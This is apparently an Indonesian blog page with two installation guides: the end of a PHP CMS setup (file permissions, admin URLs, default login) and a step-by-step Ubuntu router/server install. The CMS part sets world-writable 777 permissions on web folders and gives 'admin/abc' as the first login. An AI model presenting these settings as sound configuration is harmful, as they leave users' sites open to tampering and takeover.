set file permission seperti berikut :
chmod 755 untuk file-file *.php
chmod 777 untuk folder /images
chmod 777 untuk folder /files
chmod 777 to file /mod/online.db.txt
chmod 777 to file /mod/counter.txt
chmod 777 to file /mod/month.txt
chmod 777 to file /mod/today.txt
6. Selesai !

Sekarang Anda bisa mengakses situs Anda di http://www.yourdomain.com/

UntuK diingat :

Layar admin bisa diakses dari http://www.yourdomain.com/admin/
ATAU
http://www.yourdomain.com/?pilih=admin

Untuk login pertama gunakan :
username => admin
password => abc

Read More..

Instalasi Router (Ubuntu) Server

1. Cabut kabel LAN
2. Restart Comp. & masukkan Cd
3. Klik > Install to the Hardisk....
4. - Pemilihan Bahasa > enter ( english )
- Pemilihan Coumtry > enter
- Pemilihan keyboard > enter ( english )
- Pemilihan jenis keyboard >enter ( english )
5. Enter yang paling bawah
6. Prosses scaning...
7. configurasi network > enter ( Eth 0 :.....)
8. Prosses mencari DHCP -> Kosongi (tidak ada) > countinue
9. Pilih Configurasi manualy > enter
- Masukkan IP : 192.168.20. .... > countinue
- Network : 255.255.255.0 > cuontinue
- geteway : 192.168.20.1 > countinue
- name server : 192.168.20.1 > countinue
- host name :(misalny router_smk)> countinue
10. partition mathod :
- Pilih yang Resize jika belum diinstall ubuntu > enter
- pilih manual > enter (jika sudah diinstsll Ubuntu)
#Pilih Primery -> ext3 > enter
#Pilih delet partition > enter
#Pilih freespace > enter > create a new partition > enter
- new partition size : ( terserah/misalnya : 9,6 GB ) > countinue
- type a new partition : primery > enter
11. Partition Setting :
- enter > use as > ext3 > enter
- format the partition : yes
- Mount options > enter ( pilih yang / )
- boutable flog : on
- done setting up > enter
12. finish partition and...... > enter
13. Pilih yes (untuk write change .......)
14. Select your the zone : Eastrn > enter
15. full name for the user : ....(terserah) > countinue
16. user name ror your account :..... (terserah) > countinue
17. choose a password for the new user : ...... (terserah) > countinue
Re-enter password : (sama dengan passwor yang diatas) > countinue
18. HTTP proxy Information > ( dikosongi ) Countinue
19. choose Software to insstall :
~ space > DNS server
~ space > LAMP Server
~ space > OpenSSH Server
~ space > samba file server > countinue/enter
20. New password for the MySQL "root" : (diisi password) > countinue
21. Intall the grub boot > yes
22. finish > countinue ( dan keluarkan Cdnya )

Read More..